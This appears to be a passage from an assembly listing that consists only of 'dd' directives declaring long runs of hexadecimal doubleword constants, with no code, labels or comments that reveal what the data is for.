		dd 0D2583700h, 0F50FC9A5h, 0A50B98A2h, 0F4E009C9h, 0C26410EDh
		dd 0AE467D46h, 660A7225h, 0C264113Bh, 41C3795Ah, 6D87BD15h
		dd 1EDEFDE8h, 0D97292B2h, 502C0CEAh, 570E7983h,	0CC8A494h
		dd 0F362A3F4h, 4026F96h, 48Fh, 738D4824h, 2241A591h, 7BC26405h
		dd 2AEA9D26h, 1B4AAE12h, 74CA5E24h, 8EB4215Fh, 46AADD76h
		dd 0CA5E2422h, 42FBD773h, 87E702ECh, 0D8982B78h, 345641FBh
		dd 5B5CA6A6h, 477D874Bh, 972C5B48h, 52517519h, 0ABCA5E0Eh
		dd 23CF7116h, 0D25F7384h, 1B25AFCBh, 0A8323195h, 368BC25Ch
		dd 60607151h, 748DF150h, 854EA65Eh, 88B7B44Fh, 15D41FFh
		dd 0FEC72DD7h, 0BF6C6799h, 5D000C13h, 675C65C2h, 0BC0B939Bh
		dd 87472997h, 0FDD8286Fh, 469DC430h, 0ADF6C25Ch, 0D2F69A16h
		dd 0C25C45D3h, 2D972Ch,	635D31DCh, 0BE5A2275h, 0C1EFF6E2h
		dd 7B48C25Ch, 4464F60Ch, 5CC281A0h, 0FAC9DAC2h,	73E9AB6h
		dd 8DBD9E58h, 0CE269DDEh, 42A69205h, 0CA56B99Ch, 2CB9B101h
		dd 8BDFB1D2h, 9B59EBE5h, 0D9B58512h, 6270F6EDh,	51824FBAh
		dd 0B0BD3060h, 2E4BA5CEh, 165Fh, 848EB61Eh, 64AE567Ch
		dd 7F938D1Ch, 5AA8527Fh, 768CB816h, 20AEA6D0h, 0C612EE24h
		dd 23ACD43Eh, 0C20DF121h, 0B907D240h, 5CA7160Dh, 5156FC2h
		dd 0E963C212h, 11D23F5Eh, 525F7A86h, 6E5281BBh,	583FC512h
		dd 0D0AC10ACh, 0F6EDFB05h, 4FCA5DC3h, 0E8E31582h, 0BF23C803h
		dd 0CA5DC4A0h, 0A81BA8F9h, 0D8686408h, 8796941Ch, 932CF3F5h
		dd 4D548040h, 0A6CA5DD8h, 0E6126A1Dh, 0BC985CE8h, 1213F113h
		dd 2AA85893h, 0DBEAC112h, 0B11C4000h, 0DDF8088Fh, 0F7FD07D0h
		dd 0D16DA52Eh, 0D7DA09EDh, 9E33CA5Dh, 0C94514F9h, 0F0560595h
		dd 0BA000002h, 60DBB5EAh, 0D2C5F60Fh, 656E12C2h, 0E48C25DFh
		dd 119A5AEAh, 0A65F7A86h, 8F80143Dh, 36CE054Ah,	5DD7E68Ah
		dd 77890E97h, 821EA25Ch, 5D8E4F56h, 6C1BA8CAh, 923E221Eh
		dd 89406272h, 42A3B6FBh, 9FAB2D55h, 0F78C1C57h,	3DC71214h
		dd 17733D86h
		dd 0C5504F73h, 18A9CA5Dh, 5DC4D1D0h, 57D1E8CAh,	7F41465Bh
		dd 6A943F1Bh, 0DC19531Dh, 7AD6D257h, 0E2E0A75Dh, 22B1537Eh
		dd 0CFD6029Eh, 28C263ADh, 0DC90EC9Bh, 0C263ADC1h, 0AA4AF2E0h
		dd 4F001CEh, 0C263ADDDh, 9E566D36h, 13409B2Ah, 0D17168F3h
		dd 0D3C95A01h, 0D5C2EDE6h, 6FDCA1B0h, 8D3202h, 0FA560000h
		dd 3CC28DCh, 6E128094h,	0FD24D061h, 56CA5E23h, 0B57E764Dh
		dd 0FE1AA0E2h, 5E23CBDAh, 0AD3C24CAh, 4D736073h, 0F7A09A31h
		dd 9D496549h, 0CA5E2486h, 2E0E95F1h, 0D4EEB7BCh, 0F2E098FFh
		dd 0E7D25828h, 0E0249D7h, 6DCAB357h, 0AE875801h, 8E3A764Dh
		dd 0C2633997h, 6B4E3F0h, 0EBD86C6Ah, 152FA9C5h,	421EFA82h
		dd 0BB947094h, 38F924CCh, 29EC263h, 392B3A9Eh, 2F84C263h
		dd 0AB5E7D68h, 26F6EBAh, 1764Dh, 0C30F6B00h, 124E4E39h
		dd 0C13CC6C2h, 0DCAB1DB3h, 0D8FC319Ch, 0CA5DB6C9h, 7E429122h
		dd 0BBB39836h, 0AFD85CCCh, 41596955h, 0BC040A1Dh, 0FFD7296Eh
		dd 7261DBF2h, 48A1324Eh, 0B992728Ah, 0D3FF7D0Ah, 466A46F8h
		dd 5D3B83A2h, 94C8DCCAh, 28C07B79h, 7410774Ch, 95E0F8C8h
		dd 31878D67h, 32BF1A66h, 0DA289BA1h, 0A4587AD6h, 38C0C760h
		dd 0CA5DF12Fh, 33632A7Ah, 0AE533C8Eh, 33C97E9h,	0B82B205h
		dd 0FB598607h, 0EC0B1EDCh, 0A8C4ECD7h, 5AF3112Bh, 698BB916h
		dd 1D5BB7E0h, 48577B9Bh, 0A1CA5DA2h, 0D9FDC310h, 0D25ADF0Dh
		dd 0F83D4E0h, 8A1BD062h, 675CE8E6h, 98AA2549h, 656D51EFh
		dd 0BD19B3ACh, 441B3D87h, 0FCFE02Ch, 12C19E6Dh,	965B7385h
		dd 604F3332h, 8C378CC2h, 1E8B4824h, 544390B4h, 48AAFAB6h
		dd 8599739Fh, 0B8166235h, 9DEB158Ch, 8AEAC6B2h,	13826Dh
		dd 69934100h, 0C77D5599h, 6AA4333Bh, 0C17B5898h, 0A3A12D51h
		dd 97BDE56Fh, 0F10D053Fh, 0C9A55DE7h, 0E40CF60Ch, 1CAB57E9h
		dd 0A42D34A0h, 0F086C25Ch, 51C2122Ch, 0D20A4C63h, 446BBCF9h
		dd 0D4617E90h, 0D819B5C3h, 5DA6F5ECh, 3B854ECAh, 5DA78897h
		dd 3D0E1CAh, 8EC4F5BDh,	0BC71FC65h, 0DB7F3FCBh,	1BB450F2h
		dd 2EC67C55h, 0CB06F2A5h, 7A446F3Ah, 0A81B6891h, 6399B808h
		dd 0BD5D5A0h, 120E0E7Ch, 0A1DF656Eh, 7D7B0C36h,	0AC10B052h
		dd 5E241948h, 366172CAh, 418EF2CEh, 1F6841C3h, 8D39F6E1h
		dd 0CA5E2496h, 0CFF1E2EFh, 0F6D081FFh, 0F3A41202h, 19B39797h
		dd 0BB083894h, 5E2ABCCh, 0DCE90000h, 0E7FEEAFEh, 0FECA5E23h
		dd 0F7D034D0h, 43E93BBh, 0A0BC04CFh, 0C27E0933h, 9E6B82DEh
		dd 5E242B3Ah, 0A42F84CAh, 2DA9C760h, 0BB087017h, 4ED25F89h
		dd 0F99EA632h, 14387849h, 0A67F85BFh, 0D37723E1h, 9D5344FEh
		dd 0C25CBE82h, 0F60E34A1h, 0D034C80Ah, 4518801h, 0A33A1602h
		dd 0D5C28B69h, 0D71D108h, 0DAC63EC4h, 5CBDF7EEh, 508350C2h
		dd 0EC9BA530h, 94E34819h, 0A9401C0Dh, 0CBBC956Fh, 4DF2Ch
		dd 0E5F08C00h, 9711995Bh, 0F7DF052h, 0D400C013h, 0C25C29CDh
		dd 2AEA9D26h, 5E241E4Ah, 0A74B6FCAh, 0CA5E2478h, 0DA09EDD1h
		dd 33CA5E23h, 2062359Eh, 4B2F919Ah, 0AF787C86h,	0D8B4D8E8h
		dd 5E23F5ECh, 12854ECAh, 5F8A215Eh, 2CA8C4D2h, 0F294C014h
		dd 0E1A1758Bh, 62B80CB6h, 354F697Dh, 0DCE4CCF7h, 23C4C2F5h
		dd 0CA762173h, 1D77DEE6h, 9836AE4Ah, 29C611EFh,	5C51A6BDh
		dd 21B2FFC2h, 0BC854DF1h, 4CF83DC1h, 56817F08h,	0D6D5A5ADh
		dd 38B65CD3h, 3E6A5ADFh, 0D5DBE8E6h, 70F16CDh, 793872D3h
		dd 22557F02h, 1D27AFE1h, 12854ED7h, 5506CE6Ah, 0E5EDD88Ch
		dd 1C9EE4B3h, 58C9D8FCh, 9122C25Ch, 7E227E42h, 5C594B5Ah
		dd 880FA4C2h, 56606AF0h, 21ABCFCAh, 0E6CA781Fh,	6250E302h
		dd 5C673CBAh, 0B0DD1145h, 8F6CC4CEh, 1157h, 7C86BE16h
		dd 5CA65E74h, 778B8514h, 72A05A77h, 4EC4408Eh, 0D8F65E88h
		dd 3E9AD62Ch, 0DBF4FC06h, 3A95D929h, 714FFA08h,	5CA25E85h
		dd 0DD9DB7C2h, 0FEEA07D2h, 0CA5E23E7h, 60607340h, 2489983Ch
		dd 0D1E2CA5Eh, 0FE623EC6h, 166235EFh, 0D0518ABBh, 232815BCh
		dd 0EFC010B0h, 0C9AE642h, 0A5D12B5Ch, 0F50FC829h, 9E3A26DEh
		dd 4BDA8E66h, 0A9C3C490h, 64EF6AC2h, 0E8843C6Fh, 159E56EEh
		dd 4000DB82h, 0AB69785Ch, 0F1C2CA5Dh, 0AAFC23CFh, 4C55CA5Dh
		dd 1D923D3Bh, 813F948Eh, 0B54FF5DDh, 1F1F6B1Ch,	0AB48577Bh
		dd 10A1CA5Dh, 0FCD78687h, 41E80595h, 48000003h,	599B9524h
		dd 12D5C7D0h, 26D25F6Eh, 0CA5E23FFh, 7C784B58h,	3994E4B3h
		dd 23D1D0F4h, 992ACA5Eh, 0C242FCD7h, 7AD6DAE9h,	26DEA963h
		dd 4FFD2A7Ah, 0FC4BD628h, 8D626D8Bh, 0AD13C042h, 9BEE511h
		dd 8A17CA5Eh, 21B18DFDh, 72B9C780h, 0F50D7AF9h,	0E7B4363h
		dd 43E29BE3h, 929BCA2Eh, 8CF4CA5Dh, 6E37BD47h, 68775B65h
		dd 0C1CA5D92h, 0C1DDE3F0h, 5D920E15h, 0FE5B67CAh, 91D9CB47h
		dd 0B7890EC5h, 0CF7FCBD3h, 0F8DA4A6Ch, 7DF68ECCh, 0A2F50965h
		dd 582BA4CEh, 0D3FD61D2h, 485C6631h, 9A7BDF94h,	139D2635h
		dd 5BA7EE8Bh, 329D7424h, 28D4C310h, 633899C4h, 0E31DB8C2h
		dd 669C3521h, 16BBC58Eh, 0CF5608ECh, 0FCC73F0Ch, 0D6015DDDh
		dd 98FFC82Ch, 6F6DE475h, 3A94B802h, 7361EA0Ah, 0FF4639A9h
		dd 0E9960192h, 81h, 646E1223h, 5D3B7E0h, 23DE05F1h, 6A37CA5Eh
		dd 0E4F35759h, 9601CA2Ah, 686A06AAh, 894430D4h,	80644C77h
		dd 0CA5E2461h, 0DA9EE9BAh, 0D25858FCh, 0FA29CDF1h, 53C263EDh
		dd 4529197Eh, 96902788h, 0FA5E962Dh, 0C263EDE7h, 2A1AD18Ch
		dd 0EE436286h, 79CC263h, 0B3DC8D80h, 0CB0026Fh,	0EA1D44B0h
		dd 2D76C263h, 63EAA4BBh, 0E3B4FDC2h, 19D14h, 0AC187400h
		dd 0C263EAB5h, 5FF01CCh, 4A3D862Ch, 0B1C2124Ah,	0D156ACC7h
		dd 0F3787385h, 5ABBA2E1h, 2B804B2Dh, 8B359EA0h,	0CA06E3EFh
		dd 0E26B893Ah, 0E3073F2h, 0EC9B3129h, 0DC08A490h, 0CA5E13C5h
		dd 14A9B81Ch, 0B102CA5Eh, 0A9D7C011h, 0FB35C42Dh, 1DA330F9h
		dd 0DA583181h, 7B36E371h, 5DC9766Dh, 9502CFCAh,	0A22F4BE7h
		dd 0C4D35C98h, 3E9419B4h, 1FE51FB3h, 0EEB73D86h, 0AA5CE7E6h
		dd 12C1F497h, 4D2AEh, 2D51ED97h, 3F5A2A0h, 179637C8h, 6CF2209Bh
		dd 91355957h, 0CA5D3692h, 61B1D6EBh, 2CD6015Dh,	0E098FFC8h
		dd 0CA5DAFD7h, 3D9A17C2h, 58F4BC07h, 52C0C741h,	3DC7126Eh
		dd 18E6EEB7h, 0B22BDB3Ch, 0E07A90F7h, 5D79D5DBh, 85714DA7h
		dd 0CA5CA55Eh, 0D7D9EAB7h, 5CA4F4EBh, 13844DCAh, 0E2E5C125h
		dd 9AB6D259h, 0A7930438h, 67C4DB07h, 941DC25Fh,	811D813Fh
		dd 5F684E55h, 0CE1AA7C2h, 0C25F67D7h, 44F4A330h, 81A04468h
		dd 0DAC25F68h, 14C2BEC9h, 821E22F0h, 5F684F56h,	711CA8C2h
		dd 3A3DC055h, 9F7A033h,	0E86A37CDh, 0EDC6B319h,	0E156693h
		dd 0FCD40000h, 20B2CE44h, 0F30AE61Ch, 2CA5C939h, 0CA04EC16h
		dd 0D4FEC83Ah, 64AE5680h, 8290B01Ch, 5FB3517Eh,	788AB41Fh
		dd 0D807EBD1h, 31C25C9Eh, 4D23F53h, 0E3336A01h,	0C2119A55h
		dd 9001B6FEh, 0CEBF9024h, 96549C9h, 993A36CCh, 7F08A163h
		dd 7F595681h, 0EB20EC5h, 0EA1F46B2h, 2B78CA5Dh,	5DEAA6BDh
		dd 0E5B2FFCAh, 7D26525h, 0C01329AAh, 29389C00h,	82CA5E24h
		dd 29E6631h, 0C2D54F5Eh, 0C7E91BB6h, 23E0FFE3h,	694BCA5Eh
		dd 0F9A75641h, 61852989h, 0CA5D9A42h, 0CABD069Bh, 0F6DC8040h
		dd 8D36494Eh, 5A000000h, 9B29DBF6h, 2CC1E274h, 0A173246Dh
		dd 0E1636E12h, 0A20FCAB6h, 773E1035h, 92553295h, 0D9EAC341h
		dd 0F3DB7F1Bh, 561AB351h, 0C0C0C77Dh, 23A9815h,	408BEFD1h
		dd 611847ABh, 6071CA5Dh, 0CFB89173h, 768C4935h,	0BD74627Eh
		dd 5D610A19h, 854E63CAh, 0B833AA7Fh, 0BB9F3F9Bh, 4984EC16h
		dd 0D615D0B7h, 0F8F35E66h, 769674C6h, 7E4EF11h,	4DF7E1CEh
		dd 1EB51EA7h, 0F014BEA2h, 0BE4C3B14h, 7DC1h, 17BBDF00h
		dd 0CA5D9A08h, 55475061h, 4C7EC212h, 152C8D79h,	565B7682h
		dd 0B9F7CC78h, 0E3F2F1D5h, 764BCA5Dh, 0E123D9FAh, 0D9C53F48h
		dd 0E41211B5h, 566BCA5Dh, 0E495C731h, 24B2CA5Dh, 0E3BAE90Dh
		dd 0BE13CA5Dh, 0CE03EF15h, 950CD034h, 0CF6BF956h, 772022ABh
		dd 6F4BEBEEh, 5DE35C83h, 9BECB5CAh, 0F0D0725Dh,	42C0DFE0h
		dd 66656F95h, 8E4A26F8h, 0BD811176h, 12BD0AA1h,	8821E3F0h
		dd 7D21DFFh, 0DC182CAAh, 5A896D53h, 0B3CA5E24h,	0AF0BB51Eh
		dd 258CD1Fh, 1DCB3A51h,	0CA5E0906h, 0B745525Fh,	2A0713A5h
		dd 0A6DA8F65h, 931BA52Eh, 2E86F629h, 0D9E7B002h, 0F6EDD9B5h
		dd 4FCA5E05h, 2A5B1582h, 0B7D25F6Ch, 2D5780EBh,	1DB7D9DAh
		dd 3B8821E3h, 60842888h, 0C25C9841h, 0C27E099Ah, 0AB5182DEh
		dd 0E9178049h, 106C54EEh, 0BA583FF9h, 0F8BEAEF6h, 0CE6935F1h
		dd 22B239C0h, 0BFC82D8Eh, 0EDD916C1h, 0C25C57F6h, 3367834Fh
		dd 78A4BAE4h, 99AB254Bh, 8F3E862Ah, 1CC7A221h, 52EE9601h
		dd 61A3A12Eh, 0EDCBBFC8h, 18B33C99h, 8E450EE6h,	0CAE6DD76h
		dd 0CBE302E6h, 673CC25Ch, 347C2020h, 0AF12A3F3h, 0EC18B68Ah
		dd 5448B0D7h, 35CA5DF4h, 2A766D59h, 2CFBA5Bh, 0F41DA595h
		dd 5FE5F1ABh, 11B80CA5h, 4AC1768h, 487239BCh, 4E324D4Ch
		dd 261285BFh, 4B758F4Ah, 599BA52Fh, 634BC7D0h, 9B73CE5Bh
		dd 0CCF89CBFh, 0BA5B87D5h, 692EA52Eh, 0A22FBC17h, 81CD2C98h
		dd 0E41D56FCh, 9EDD1EFh, 0BA5BCDDAh, 38678B33h,	91BA5BCEh
		dd 78049340h, 0EE16C09Ch, 0A7BE2A16h, 0BA5BCEh,	937720B3h
		dd 0DF6571C5h, 8CF0CCF4h, 6D46BE46h, 0E9E0561Ah, 8D15C255h
		dd 5DF7E586h, 0F3DFE1E2h, 0B26204ECh, 2F0B7C45h, 28B30FA2h
		dd 0C222D6B1h, 0B0295h,	0E913C100h, 47FDD519h, 0EA24B3BBh
		dd 41FBD818h, 2321ADD1h, 173D65EFh, 718D85BFh, 4925DD67h
		dd 648C768Ch, 9C2BD769h, 9BADB420h, 7006C25Ch, 5AC212ACh
		dd 0BDE5548h, 2CA7D9BEh, 0BBCCD3FFh, 9C25CA5Dh,	0BCB1B014h
		dd 0B90ACA5Dh, 441EA60Ah, 6C0D979Fh, 0A4CC4651h, 24C41829h
		dd 299C100Bh, 972C97ADh, 68C98919h, 0E31BC832h,	23B177F5h
		dd 3C4B650Fh, 0BDCCD4C0h, 6ECEAC95h, 626D8BFCh,	41C3418Dh
		dd 0F9555B68h, 77522D8h, 0A55FE1EBh, 22E218B9h,	92BF1A93h
		dd 0ED4D8C19h, 19FE25D1h, 4A57CA5Eh, 6E903B3Dh,	0A0A42E52h
		dd 0B7939BF7h, 861FE51Fh, 8F5D0C01h, 4B2F0595h,	96427E80h
		dd 0CA5E1E8Fh, 4BACDBE8h, 0BBh,	7EA5516Dh, 0D7CA5E1Eh
		dd 0DCD7BDCAh, 128AAFEh, 5E23CED5h, 299A27CAh, 0EFD102CBh
		dd 37BD478Bh, 7317296Eh, 5344FED7h, 5873D59Dh, 1A468ED2h
		dd 0C6DD09DCh, 1FC26409h, 66B34292h, 80E0DAADh,	961AA953h
		dd 0CA7A56FAh, 81834E2Ah, 0A4A02E52h, 0C0C0C760h, 3399A17h
		dd 8A482801h, 0AB99272h, 0F60ECAA6h, 613D0191h,	63FF6E75h
		dd 8DFAC7C2h, 63FEBAE3h, 0F5FAD5C2h, 0F0CC28DAh, 63FEDD04h
		dd 566D36C2h, 9027436Dh, 0C2D55E96h, 0CA046848h, 0A6F1BA3Ah
		dd 5B747D5Ah, 0A72F4BA9h, 139D269Dh, 9F659F37h,	17038106h
		dd 20679933h, 986DFh, 5F714100h, 9FB8F896h, 1243593Eh
		dd 241B4AAEh, 4C74CA5Eh, 5E2479A8h, 0D201D2CAh,	23DB0AEEh
		dd 9F34CA5Eh, 33CD08F8h, 9EC5318Dh, 0F7CA5E24h,	731FDDAAh
		dd 0DBB1AE2Bh, 4B3C6270h, 0ABA1A22Dh, 0A2CBE459h, 0EB2F818Ah
		dd 3AFC72D9h, 8B432789h, 0BC840E79h, 0E80C34A0h, 8852385Fh
		dd 3D613D83h, 5DB08A99h, 0C9CEE3CAh, 57C6FD2Fh,	1BEABAD2h
		dd 0A4BC65Dh, 34803A4Dh, 7EB38E0h, 0C2632CD8h, 0AA34A031h
		dd 0F9FBC89Bh, 4E55811Dh, 0A7C2637Ah, 0C97B561Ah, 7BF5A22Bh
		dd 0C2637A60h, 47AD577Fh, 7A58876Bh, 20B1C263h,	5C797460h
		dd 4E854EA6h, 0C7DE0AB6h, 20C26379h, 4E8D1893h,	35190501h
		dd 0C38C689Ah, 72D209D4h, 0C92DC40Eh, 0C2637A9Ah, 0FF5DEF3h
		dd 689C3A36h, 0B1D4C38Ch, 26F2BA0h, 0C47C58F4h,	9F24D3h
		dd 0E8840000h, 524255EFh, 0E1636E12h, 0F206D4B6h, 37C1438Eh
		dd 0CA5E2428h, 8A6A943Fh, 0D0B001C1h, 2D06FE06h, 1A761A96h
		dd 5E24B7AEh, 35C310CAh, 0CA5E242Eh, 6B4D3A87h,	58876B4Fh
		dd 0B1CA5E24h, 13017720h, 0AD25859h, 7F53F7B9h,	17DD6772h
		dd 0AA52458Eh, 1F46B20Eh, 78C263EEh, 4261852Bh,	9BC263EEh
		dd 0E4F78106h, 3C263EDh, 0A0BC38CAh, 39EA0A32h,	0E6202DACh
		dd 8D87163Ah, 36A2DE67h, 2A5DF60Eh, 0B80838B3h,	6CCF8EC8h
		dd 365740DEh, 26F6527h,	218B8h,	5B74D800h, 15824BA9h, 5F6E12FFh
		dd 23FF26D2h, 4B58CA5Eh, 0E4B37C78h, 0A9073994h, 2AA60BC5h
		dd 26DEA91Ah, 7F699C3Ah, 2CF72801h, 4CC7DE0Ah, 9320CA5Dh
		dd 0C5719340h, 0DB2E4AFDh, 20608794h, 0E0698BB5h, 0E10EC9B7h
		dd 5DA6EEF5h, 497A47CAh, 3AF40367h, 6703AF4Dh, 9EDD36Dh
		dd 0CA5DA6DAh, 7F99E33h, 3DF133CCh, 6728480Eh, 0C1FFD46Eh
		dd 5DCD0E15h, 695A67CAh, 607F6347h, 0B9CA5DCDh,	0B54F88E8h
		dd 8111764Fh, 6B06F5BDh, 7B576AA7h, 5DF14857h, 0C310A1CAh
		dd 0F5EB1CD4h, 0DA76CA5Dh, 404047FDh, 756C5895h, 0CECA5DECh
		dd 8EF2CE05h, 0E35D6C45h, 4C3B14F0h, 0EE17C2BEh, 0C0DD2D2Ah
		dd 7D4390C1h, 339D6635h, 0C28B699Bh, 0A9E54F12h, 167A26DEh
		dd 5E1AB3B2h, 0D0B70CCAh, 0FC820BAh, 0D2E2DEF5h, 6AD44DF9h
		dd 92913579h, 0EBCA5E0Dh, 9E9AEDD6h, 581E543Ah,	694959D2h
		dd 0B89E529Bh, 4B330F78h, 0AC857F81h, 9B099917h, 7BC104B3h
		dd 2599C82Ch, 0E1F2C263h, 49E5A5F2h, 776EEE79h,	6126D1A2h
		dd 0A0378F29h, 0EC58E66h, 53FCEB2h, 884A26FFh, 0D0B79074h
		dd 4F0CCF0h, 0C263CFDDh, 561A6D36h, 0CA61108Ch,	39CB0569h
		dd 0C20C744Eh, 0DAE9C242h, 170EBAD6h, 6EBA6690h, 66905B8Ah
		dd 0A31FB4BAh, 93B7890Eh, 22580A3Bh, 620C66C3h,	397F4F71h
		dd 6717AEDDh, 6D907B49h, 5A930A1Dh, 7DE1DD2Dh, 98E8AF55h
		dd 0E618B33Eh, 238E450Eh, 0CEAC77BDh, 6C9BB818h, 2B000006h
		dd 87679BA5h, 1D61B14Bh, 827E948Eh, 1757AB51h, 0C78D85BFh
		dd 0EB19B59Fh, 43FDD717h, 1C26AFCFh, 35CF0AE6h,	22C6FADDh
		dd 0C25C9703h, 12FAFA5Ch, 0B4E3616Eh, 9BFB0AC4h, 0B1B014A2h
		dd 0ACA5D70h, 0C54A0BB9h, 7A30DB6h, 5D29C4DBh, 0E0951DCAh
		dd 385E416Fh, 701A6D56h, 0D908ECD0h, 32CA5D4Ch,	8282824Eh
		dd 8B6D1AA9h, 0DD676B40h, 2BA6CAE6h, 4552DB19h,	4D85E9C5h
		dd 23743DB7h, 4AAE12F1h, 0CA5E241Bh, 52385F74h,	993D8388h
		dd 0D25859BBh, 400CEB2h, 89492700h, 0FC606073h,	0F9D232D2h
		dd 7A4AF68Eh, 0FD35A6AAh, 66A1D47h, 0C263DDDBh,	0E123D9FAh
		dd 0C92BD9F5h, 4D8C17h,	98361A06h, 0AF4586Ch, 823776BBh
		dd 7E914815h, 26F54EFh,	5681DDC1h, 47253CACh, 357EC263h
		dd 1B99562h, 57F30000h,	0C1D3C47Eh, 0AB8C212h, 47102BB3h
		dd 18954040h, 6F5182BAh, 3744825Fh, 197EC77Ah, 21ABCF6Bh
		dd 3B4CE51Fh
		dd 5374913Dh, 14C5F262h, 3E79A84Ch, 1D2CA5Dh, 0EFBF01D2h
		dd 713868A3h, 9B9524B1h, 0F9A55F28h, 0C1C67C55h, 5E0F0E37h
		dd 0D1F599CAh, 0CA5E04D2h, 0FF1962Bh, 0DA763AC4h, 0D24047FDh
		dd 0C17B92EEh, 4CCD3FFh, 9C25CA5Eh, 41C20DEBh, 2AE1D0E8h
		dd 349EE267h, 685BF410h, 61806448h, 0BACA5DAAh,	4E69EE9h
		dd 51CBE236h, 0B5223E82h, 0ABDC758Fh, 2CDB10Dh,	5C2B0400h
		dd 57BBB694h, 379FBBD2h, 225EE70Dh, 3C06918Bh, 99717054h
		dd 0F9CAC263h, 0FD2B10CBh, 279C630Ch, 53CE3989h, 9EA58D7h
		dd 63CEC6DDh, 41921FC2h, 0FCBEBC56h, 0E1D34AF0h, 0F7794FC1h
		dd 46DF25DFh, 0BB17337Dh, 862A1681h, 0C1A7BE2Ah, 0B400C263h
		dd 50AACE8Bh, 3E497A95h, 610489BAh, 8F4824CAh, 0BAB68F75h
		dd 861FE51Fh, 18714101h, 3C33B1ABh, 4C958C38h, 0E5EEBA66h
		dd 7FDBE5EEh, 7F48AC56h, 0E8842818h, 19B252EAh,	0AD44926Eh
		dd 664C1A49h, 755E73BAh, 9A46834Bh, 18C91CC3h, 7F1B236Fh
		dd 66BA4C53h, 6B1CA5BAh, 6570418Dh, 439019DBh, 0AC74BE6Eh
		dd 0A0BD17CEh, 42Fh, 0B45EE6EEh, 14FE06CCh, 0AF63DDECh
		dd 0AF802CFh, 0A65CE8E6h, 705EF620h, 96423ED4h,	735CA46Eh
		dd 923D41D1h, 9B7A270h,	5C94C6DDh, 35451FC2h, 0C00004D2h
		dd 0E70D379Ch, 0D5D9395Eh, 62A25879h, 49AB5976h, 34445380h
		dd 0A4C46899h, 160A6A6Bh, 6B6703ADh, 644CC6D1h,	0D133CD08h
		dd 128D8FF8h, 241B4AAEh, 5F74CA5Eh, 738D4838h, 5E85714Dh
		dd 0B7CA5E24h, 33DF9DEAh, 8480BA17h, 319CDCABh,	23C9D8FCh
		dd 9122CA5Eh, 0B6227E42h, 0CA5E24AFh, 3ECCBB08h, 50F4DE82h
		dd 589CA430h, 1DB8C8CFh, 544595E4h, 5B681F8Ah, 0A2B5FD99h
		dd 0FAA2C30Dh, 5CA0289Fh, 0A493FE68h, 0ED490FF3h, 0CA55FE5h
		dd 0D95F9B7h, 51EAEADh,	0C8305705h, 0D257859Eh,	0FE25D1EDh
		dd 57C2631Ah, 1B948B37h, 0E4EDC263h, 0D4DCE4EFh, 548026A1h
		dd 3FBDCA23h, 7F85BF13h, 2BC97B53h, 777D874Fh, 0F1E8FDAEh
		dd 74D88464h, 0CB79565Bh, 6433FCF8h, 0BEE26279h, 626B0B1Ah
		dd 8DB722C2h, 0CFE4DE67h, 901DB8C8h, 6D46BE46h,	0BC04AC56h
		dd 2DA11792h, 0DE6F65C7h, 67E573B8h, 66F41681h,	0B93BC112h
		dd 0C1DDE3F0h, 622A0E15h, 565A67C2h, 622A7372h,	90F7CCC2h
		dd 2F7E44B0h, 3713CA5Ch, 8535629Ch, 85F9743Dh, 0CBF81878h
		dd 0B87289E5h, 0E58935CFh, 139C58EAh, 54597484h, 4D29CB45h
		dd 0AD867E84h, 0BB03AD16h, 0DAAAAC9Dh, 0E99304B9h, 0C53FC50Dh
		dd 2023899h, 2926C540h,	45B10DB1h, 0BA68531Eh, 805D2A77h
		dd 5C9D969h, 0AE77EEB0h, 8E2C5E29h, 8E669E3Ah, 0CEB20EC5h
		dd 29020202h, 763E625Eh, 0E45655h, 0BA68ADE1h, 0E25B693Ah
		dd 0D0725B6Ch, 5F289B34h, 6252EB99h, 0F0DC80C2h, 267B4750h
		dd 894A268Ah, 485E8573h, 0EAB7B26Eh, 6D51ED9Dh,	6E485A89h
		dd 791EB3B2h, 0EB24C87h, 25DF6572h, 5581FB8Ch, 140BB778h
		dd 6DB26E48h, 81516F64h, 0F8126799h, 0B7455248h, 0F311339Bh
		dd 0CF35CF07h, 0A85C7AF6h, 9EA6304Ch, 0F461780Dh, 806448F4h
		dd 0B26EC461h, 0C79EE9BAh, 4C781424h, 0B26EC455h, 867225AEh
		dd 0DA6A664Bh, 0FAD7921Ah, 9C718232h, 78149C27h, 6F04554Ch
		dd 0DF616CB2h, 49C9CEE3h, 824DA92Fh, 116D5380h,	80DB3DC6h
		dd 0A0E8F2ECh, 78F8D133h, 0C65FA55Fh, 0FF9BFFC1h, 6E87CCD3h
		dd 58EAE3B2h, 9027495Ah, 5D87F196h, 0ACBA68BDh,	1CB59917h
		dd 37E3A1E6h, 6D87B913h, 0AC5B3E4h, 0AB182AA5h,	0D46E6905h
		dd 781F21ACh, 5CE4F00Ch, 0EE16BC98h, 18D35216h,	1702083Ch
		dd 0AB180BD4h, 0C92D912Dh, 0AA74E89Ah, 2CB9DEF3h, 788157ADh
		dd 8ABA1438h, 0AB6E16Ah, 0C7DE0AA6h, 20AA74E7h,	7A6C0493h
		dd 0C9B26F1Dh, 0D81C16A5h, 203C844Fh, 8A088F89h, 0C7DE0AA6h
		dd 1EA27AB2h, 7AB3ABBAh, 13AF04A2h, 0B31847ABh,	6071A27Ah
		dd 41C30D73h, 92A63456h, 7AB33F66h, 0B80B98A2h,	1DB894F8h
		dd 0FF8821E3h, 7C18A179h, 0C2268AAAh, 9A794EA3h, 0E2E0A7FCh
		dd 4E0B1ABEh, 4F649A79h, 0B4203C84h, 9581FB8Ch,	3B9522B9h
		dd 7162EB09h, 1AB6BA93h, 56410AEAh, 9542AF2Ah, 7BC956Fh
		dd 6B5733FBh, 9A794E74h, 659304CDh, 0B84A856Ah,	0C40D733Ch
		dd 0C36F953Eh, 0F18D64FBh, 49AD8E28h, 9A796F1Ah, 4B755E73h
		dd 796F78A7h, 9700D19Ah, 9774DFE1h, 0F32DBC0Ch,	5CD6E511h
		dd 3E9D2498h, 8F4AD911h, 0B8E70BAFh, 11285B67h,	0EFE45E6Dh
		dd 0C47D58A8h, 0B19F01A0h, 0D2EEE59Dh, 772024AEh, 4B77131Bh
		dd 285BCB54h, 857324ADh, 94F8B84Ah, 5BCB3130h, 4E398A28h
		dd 69660AB6h, 79019DBh,	9E22D8F9h, 0A8EF15C2h, 0DAD700DCh
		dd 797B48FCh, 32D2705Dh, 97B437AEh, 3C159D41h, 0CADB9D23h
		dd 6A815C2Bh, 1312B6DAh, 6C285BCBh, 85503057h, 0CB657C68h
		dd 0F5BE285Bh, 814C34DEh, 0B01D417Fh, 5A770592h, 13h, 616E129Ah
		dd 0FF8821E3h, 5AF6BE62h, 0F4FEFDA0h, 0D213098Eh, 0DEFAFA02h
